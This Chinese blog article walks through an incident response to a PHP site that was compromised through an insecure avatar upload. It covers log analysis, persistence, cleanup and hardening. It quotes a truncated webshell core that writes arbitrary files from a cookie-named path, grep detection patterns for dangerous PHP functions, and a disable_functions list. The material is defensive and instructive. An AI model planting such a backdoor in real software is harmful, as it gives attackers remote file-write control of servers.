资讯详情

网站被挂马怎么办?从Webshell入侵到应急响应清理加固全复盘

📅 2026/10/19 15:11:11 | 华诺云谱 👁 阅读
网站被挂马怎么办?从Webshell入侵到应急响应清理加固全复盘
1. 先复盘一次网站被挂马的真实经过1.1 告警是从哪里冒出来的网站的挂马问题很多站长第一次知道时往往不是自己发现的而是从三个地方蹦出来的搜索引擎的该网页可能含有恶意代码拦截提示、云服务商的安全告警或者用户反馈一打开你们网站就弹广告、跳转赌博页面。我之前处理过的一个模拟项目X就是这种典型情况。它是一套功能比较多的会员系统加官网运行在NginxPHPMySQL的服务器上业务不算复杂但是开发周期长中间走过外包、换过几任开发代码就这么顶着上了生产。那天的第一个线索是安全监控平台发来的告警域名之下检测到大量JS劫持代码。紧接着网站自带的访问统计里出现异常跳转率好几个访客在页面停留不到一秒就被带去了别的站点用户群开始在客服那边炸锅。后续排查的结果可以说用一家人整整齐齐来形容首页模板被人注入了一段恶意JS上传目录里躺着一堆PHP文件服务器上多了一个陌生账号定时任务里被塞了一条不明任务系统负载在凌晨莫名其妙飙到接近满载。对这些不是假设是那次事件里全部真实出现的情况。挂马和木马上传从来不是单独干一件事而是一整套链条。后面我会把每一步拆开讲顺便把应急响应里真正实用的操作逻辑也一起说清楚。1.2 从发现到恢复当时的时间线真实的应急响应节奏往往比想象中紧张。那次事件我是在凌晨3点收到告警的整个处理过程用了差不多一个工作日重要节点列在下面供你参考时间点处理动作具体内容T003:12收到告警安全平台提示存在JS劫持访问日志中出现异常跳转T10min远程登录服务器先切断对外服务入口保留SSH用于排查避免攻击者继续操作T30min现场取证备份网站目录、数据库和日志记录异常进程、账号、计划任务T2h定位恶意文件扫描出上传目录下多个PHP后门文件首页模板被注入恶意脚本T4h清理恢复删除后门文件、清理计划任务、禁用异常账号、修复被篡改页面T6h加固复核修改所有口令调整目录权限和解析规则重新上线并持续观察这个时间线看起来很顺实际上每一步都踩了不少坑。比如取证阶段差点因为手快删了恶意文件导致后面没法分析攻击路径这个我后面会单独说。另一个经验是收到告警后先冷静几分钟做计划比急着操作重要得多。1.3 黑客在服务器上留下的全家桶当时我整理了一份故障清单列出来大概是这么几类页面挂马首页和几个重要落地页的HTML末尾被插入了一段脚本用来做流量劫持和浏览器漏洞攻击访问者会无感跳转到黑产站点。Web木马上传目录下出现多个可疑PHP文件支持远程指令执行也就是常说的Webshell。黑客通过它可以随时下发新的指令。系统后门服务器上多了一个特权账号归属管理员组。这是典型的留后门操作就算你删了Web木马他还能重新登录进来。挖矿木马一个异常进程占满了CPU配合定时任务做保活把服务器当免费矿机用还试图把自己伪装成系统服务名不仔细看很难发现。看到这个清单很多人的第一反应是这网站也太惨了吧。但对做应急响应的人而言这不重要重要的是建立一条清晰的攻击时间线入口在哪、什么时候进来的、干了什么、留下了什么、还有没有更多隐藏入口。下面我们就一条一条来梳理。2. 一句讲透挂马到底挂的是什么2.1 挂马的两种形态很多人其实没分清挂马这个词日常对话里经常被混用实际上它包含两种完全不同的东西。第一种是狭义的网页挂马往正常页面HTML里塞恶意脚本或隐藏跳转代码用户一旦打开页面浏览器就会加载攻击者指定的脚本最终表现为弹窗、劫持跳转、下载恶意程序等。这种挂马本质上是篡改页面内容。第二种是广义的网站木马服务器被人放上来一个Webshell后门文件攻击者可以通过浏览器远程管理服务器上传文件、执行命令、读写数据库。第二种往往才是网页挂马的上游因为一旦攻击者手上有了Webshell改你的页面就跟改记事本一样轻松。生活里有个很贴切的类比商店玻璃门上被贴了张假促销海报路人扫码就中招这是网页挂马更糟的是收银台电脑被装了后门员工每刷一次卡顾客的卡号就被远程截留这是Webshell。所以一谈到挂马必须想清楚你说的是哪一个因为排查思路完全不同。2.2 黑客为什么费这么大力气挂马三条变现路径攻击者不是闲得没事干挂马背后基本都跟着清晰的商业利益。我梳理下来最常见的变现路径有三条流量劫持与黑产导流把正常访客跳转到赌博、色情、刷单类页面按每次跳转或者按注册用户数结算也就是黑产圈常说的流量生意。这次模拟项目X碰到的主要是这一类。资源盗窃与挖矿利用服务器CPU挖加密货币或者把用户浏览器的计算能力也一并征用。这种通常不会造成直接业务瘫痪但会导致网站卡顿、电费飙升。数据盗取与勒索Webshell配合数据库操作可以批量拖走用户数据再到黑市变现更狠的是直接加密网站文件勒索赎金。理解了这三条路径你再看服务器上那些奇怪进程、异常计划任务思路就会清晰很多。挂马不是目的是手段本质是利用受害网站的资源赚钱。2.3 挂马代码到底藏在哪常见位置清单很多运维朋友问为什么扫描器没扫出来很大程度上是因为他只在HTML文件里翻忽略了配置层和隐藏文件。下面这张表是我常用的排查位置清单藏匿位置典型特征挖掘手段模板文件尾部HTML末尾多出一段外层JS或iframe标签人工查看首页源码搜索iframe、script src外链公共JS/CSS库文件正常函数后面被追加了代码比对原始文件哈希或查看文件最后修改时间隐藏文件名.user.ini、.htaccess、以空格结尾的文件使用ls -la查看隐藏文件逐一审查上传目录大量随机命名PHP文件大小只有几KB到几十KB配合日志梳理上传请求按时间排序查看图片伪装文件图片头文件里带PHP代码利用解析漏洞执行用file命令核对真实类型不能只看扩展名排查挂马的思路其实就一句话别信扩展名别信表面一切以实际内容和对等比对为准。后面第4章我还会展示具体命令。3. 木马上传全过程从入口到驻留的拆解这一章是整个事件复盘的核心。先说清楚我不会提供可复现的攻击载荷重点是从攻击痕迹倒推攻击者的操作路径让防御者知道每一步的破绽长什么样。你把它当成一次事故分析而不是操作手册。3.1 初始入口上传点为什么成了突破口那个模拟项目X里有一个会员头像上传功能问题恰恰出在它身上。这个上传点有三个致命缺陷第一只校验了HTTP头里的Content-Type没有做文件内容校验伪造MIME类型就能骗过去第二没有做扩展名白名单只简单过滤了几个明显危险的后缀第三上传目录正好位于Web根目录下而且该目录允许PHP脚本执行。这三个条件叠在一起等于给攻击者递了一把钥匙他不需要费劲绕来绕去只要构造一个看起来合理的请求把一个可执行文件传入服务器就能在Web目录里落下一颗种子。很多老旧系统的上传功能都是这个套路看起来只是传个头像而已实际上却是整台机器被拿下的起点。这里想多说一句很多团队在上线前都会测能不能传PHP却很少测传上去之后能不能执行。真正危险的不是上传功能本身而是上传目录和解析规则的组合。目录分权、解析隔离这两件事是从根上掐断这类攻击的关键。3.2 访问日志里读出攻击链一页POST请求背后的故事应急响应最爽的时候就是日志里终于拼出了完整攻击链的那一下。当时通过筛选异常IP拿到了这样一段关键日志IP和文件名已按脱敏方式改写不影响理解结构203.0.113.7 - - [14/Oct/2024:03:12:07 0800] POST /api/attachment/upload?typeavatar HTTP/1.1 200 1421 - Mozilla/5.0 203.0.113.7 - - [14/Oct/2024:03:12:11 0800] GET /uploads/xxx.php HTTP/1.1 200 512 - Mozilla/5.0 203.0.113.7 - - [14/Oct/2024:03:12:19 0800] POST /uploads/xxx.php HTTP/1.1 200 263 - Mozilla/5.0 203.0.113.7 - - [14/Oct/2024:03:12:28 0800] GET /index.php?mhome HTTP/1.1 200 88231 - Mozilla/5.0前半段其实非常清晰先是一次上传请求拿到写入权限紧接着访问刚上传的PHP文件确认存活第三次请求直接对后门文件发送数据执行了一段指令。最后一行的GET访问则是攻击者在测试整站是否还在正常运行准备开始注入页面脚本。读这类日志的时候不要只看时间要学着把请求路径响应码请求方法串起来。比如POST /uploads/xxx.php这种组合正常用户根本不会这么干出现一次就值得警惕。我当时看到第三行就知道这个站基本已经被拿下跑不掉了后面需要做的不是防而是清。3.3 恶意代码长什么样从一行PHP看出危险现场样本里有一个典型的后门文件为了便于识别我提炼出其中的核心结构用了大量截断处理不能直接运行但特征保留?php error_reporting(0); $payload file_get_contents(php://input); // 从请求体接收内容 file_put_contents($_COOKIE[f] . .php, $payload); // 按cookie指定的名字写文件这段代码短小但极其危险攻击者只要发送一个自定义Cookie名再往请求体里塞一段内容就能在网站上任意写文件。换句话说这等同于给远端开了一扇任意写文件的门他可以随时把更复杂的木马、挖矿程序传上来也可以直接改页面做挂马。识别它用不着多高深的技巧盯住几个高危函数组合就行。我一般会在服务器上跑这样一组特征扫描grep -rEn (eval\(base64_decode|assert\(\$|system\(\$_|file_put_contents\(\$_COOKIE) /var/www/html 2/dev/null命中结果里对应文件基本都值得打开人工确认一下。平时做基线扫描也可以把这类后门特征维护成一份清单每次发布前过一遍比事后清理省事得多。3.4 持久化黑客为什么能删了再来Webshell清理完很多人以为事情就结束了实际上远没到这个程度。那次事件里更棘手的是持久化机制攻击者不只留了一个PHP文件还在系统层面埋了多个后手。常见的有四类一是计划任务每隔几分钟从远程地址拉取一段脚本执行实现自动复活二是新增特权账号权限跟root等同方便直接SSH登录三是替换系统常用命令把真正的ps换成隐藏版本你看到的进程列表里永远没有他四是把Webshell藏在多个偏僻目录各有各的名字删掉一个他还能用另一个进来。应对持久化不能只看哪里多了文件要同时检查系统账号、计划任务、启动项、服务列表这些容易被忽略的角落。我也曾在清理完Webshell后暗自庆幸结果第二天发现恶意进程又活了原因就是漏掉了定时任务。后来学乖了清理后门永远要按系统层应用层持续观察三步走。4. 实战清理从日志定位、扫文件到恢复加固4.1 第一步用访问日志锁定攻击来源和受影响路径做应急响应时我的习惯是先看日志再动文件。不要一登录就到处删文件那样很容易破坏现场证据。先用一条命令把访问量最高的IP拉出来快速缩小范围awk {print $1} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20这条命令的含义是把第一列IP提取出来统计出现次数并排序。正常的高频IP多半是搜索引擎爬虫、公司出口IP或者云监控突然冒出一个陌生高频IP十有八九有问题。我通常会顺手把它对应的请求细节翻出来grep 203.0.113.7 /var/log/nginx/access.log | head -50重点看POST请求、上传接口、脚本文件访问这几个组合出现时攻击入口就基本浮出水面了。另外如果网站本身有应用日志比如PHP框架的log目录也一并翻出来往往能补充访问日志里没有的上下文。4.2 第二步全面扫描可疑文件和目录权限日志定位到入口之后接下来就是文件系统大扫荡。我习惯按三条线并行扫第一条线按时间找文件。攻击者留下的后门修改时间一定集中在某个窗口期。用find把这段时间内新建或改过的文件筛出来find /var/www -type f -newermt 2024-10-13 00:00:00 ! -newermt 2024-10-14 00:00:00 | head -200第二条线按内容特征找后门。这一条比很多人想象的更有效因为Webshell绝大多数都绕不开eval、assert、system、base64_decode这些危险函数。我常用的扫描命令比之前展示的更宽一些grep -rEn (eval\(|assert\(|system\(|shell_exec\(|passthru\() /var/www/html --include*.php -l 2/dev/null第三条线检查异常账号和计划任务awk -F: $30 {print $1} /etc/passwd crontab -l ls -la /etc/cron.* 2/dev/null这三条线组合起来基本能把明面上的后门和暗门都挖出来。对于可疑文件先不要急着删先打包备份记录哈希值再决定下一步操作。4.3 第三步清理止损的正确顺序清理阶段最容易犯的错误是上来就删。我这边总结了一套五步操作顺序照着走基本不会手忙脚乱先切断异常出口以最快的速度限制服务器出方向和入方向的异常连接在条件允许的情况下可以先通过防火墙把攻击者IP封掉把恶意进程的网络活动掐断。保留现场把日志、恶意文件样本、恶意进程快照都备份出来最好连哈希值一并记下方便后续溯源。再执行清理清除计划任务、禁用异常账号、杀掉恶意进程、删除识别出来的Webshell文件一个也不能漏。全盘复核重新扫描一遍文件系统检查有没有漏网的后门确认数据库里没有异常的数据修改。修改口令SSH密码、数据库密码、Web后台密码、云平台API密钥一个都不能留旧密码。黑客可能早就拿到了不换就是给他留门。那一次实际清理时修改口令这步起初被排到最后结果黑客在清理过程中又进来了一趟折腾了不少时间。后来我才明白切入口和改口令要尽量往前放不要给攻击者留任何旁观清理的机会。4.4 第四步加固把攻击路径彻底堵死清理之后并不算完事真正决定网站下次会不会再被搞的是后续加固。像模拟项目X这种场景最关键的一条加固是让上传目录不再具备PHP执行能力。用Nginx做反向代理的话我通常会加一段类似配置location ~* ^/uploads/.*\.(php|php5|phtml|phar)$ { deny all; }这段配置的意思是/uploads/目录下所有PHP相关后缀的请求一律拒绝。这样即使攻击者再次成功上传了PHP文件也没法通过Web访问触发执行。很多业务一开始不习惯这个限制但实测下来上传目录本来就不该执行脚本真正需要上传图片后处理的服务应该走独立的接口或服务。PHP侧也要做收紧尤其是用户自定义内容较多的系统。可以在php.ini里把高危函数禁掉disable_functions exec,shell_exec,system,passthru,proc_open,popen对于非必须使用这些函数的业务影响很小但对于Webshell这一步能直接废掉它的半条命。除了这两项还要做数据库和Web后台密码改成高强度随机密码网站代码和数据库备份准备异机离线副本有条件的话给全站加上WAF或者至少启用CDN防护让直接访问源站的路径不再暴露。加固不需要一步到位但上传目录不能执行脚本这条优先级最高先做这个保命项。4.5 验证怎么确认真的干净了清理加固做完之后不要急着宣布搞定。我一般会再做一轮验证大概包括这些动作重启Web服务和相关进程观察服务器上还有没有异常进程自动拉起。抓取首页和前几页页面源码人工确认没有残留的恶意JS和iframe。连续观察一周访问日志重点看有没有陌生IP继续访问之前的上传接口。再用一次全盘特征扫描确认没有新的Webshell文件出现。这套验证做完一轮还不够真正的安全感来自持续观察。很多藏在深处的后门要等到下一次攻击者行动时才会暴露而攻击者的行动往往有自己的节奏可能是几小时后也可能是几天后。所以应急响应之后的观察期和清理本身同等重要。5. 常见误区与排查技巧实录5.1 三个常见的错误认知这几年做应急响应见得太多的误区可以总结成三个这里一个一个掰开说。第一个误区装了WAF就绝对安全。WAF确实能挡住不少扫描和常见攻击但它拦不住所有变种尤其当攻击者拿到的是合法上传通道时WAF很难识别这张图片里嵌了段脚本这类问题。安全产品和安全策略是两回事WAF只是策略中的一个环节而不是全部。第二个误区重启服务器就能解决。这个比较要命。如果只是删除了进程但计划任务和Webshell还在重启后攻击者留下的自启动机制很快会把你带回原点。真正的重置方式应该是从干净的备份恢复而且备份必须是入侵前就存在的离线副本。第三个误区删掉看到的木马文件就完事了。木马文件往往只是冰山一角后面有账号后门、计划任务、恶意服务、数据库注入等多重隐患。你不把整条攻击链摸清楚删文件就是在治标而且标也未必治得住因为攻击者很可能在别的目录埋了同功能的另外一个副本。5.2 实战中真正好用的几个排查细节在多次实际排查中下面这几个习惯帮我省过很多时间也避免了不少返工时间轴思维找到第一个恶意请求的时间点后以前后一天为窗口集中排查比全盘乱翻高效太多。文件指纹核对如果手上有线上版本的干净代码包直接对目录做一次md5sum比对被篡改的文件立刻现形。目录最小权限上传目录、临时目录、缓存目录这些多写区域一律不挂可执行权限这是从源头上降低风险。日志异地备份日志不仅要在服务器本地还要想办法同步到对象存储或另一台机器否则日志被黑客清掉溯源就成了无米之炊。双人复核清理后门这种操作最好两个人互相检查一个人容易漏两个人看第二遍时往往能发现新线索。这些小习惯单看都不复杂难的是把它们固化到日常流程里。那次挂马事件后模拟项目X的运维团队重新整理了上线检查列表把其中好几条写成了自动化脚本之后至少再没发生过同类型的入侵。6. 最后分享一点个人经验做了这么多次应急响应我越来越觉得网站被入侵不是会不会的问题而是什么时候的问题。与其等到挂马告警弹出来再冲进去救火不如花时间提前把上传目录不解析脚本管理员口令独立强口令日志异地存储这几件小事做扎实。它们不起眼却能在关键时刻替你挡掉一大半攻击。我个人还有个习惯每半年给自己负责的网站做一次模拟应急演练。挑一个周末的低峰期假装发现了一条可疑告警实际走一遍日志排查、文件扫描、清理复活、快速恢复的全流程看看团队用了多久、漏掉了哪里。第一次演练往往会暴露出很多平时注意不到的盲区但练过三次之后真正遇到事情时大家就从容多了。最后再分享一个小技巧清理完一轮木马后把所有涉及的文件路径、IP、恶意命令都整理成一份简单的处置报告存档。下次如果再被入侵这份报告能帮你更快识别出是同一个攻击者卷土重来还是出现了新的攻击手法。安全这件事最大的成本不是工具而是遗忘。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑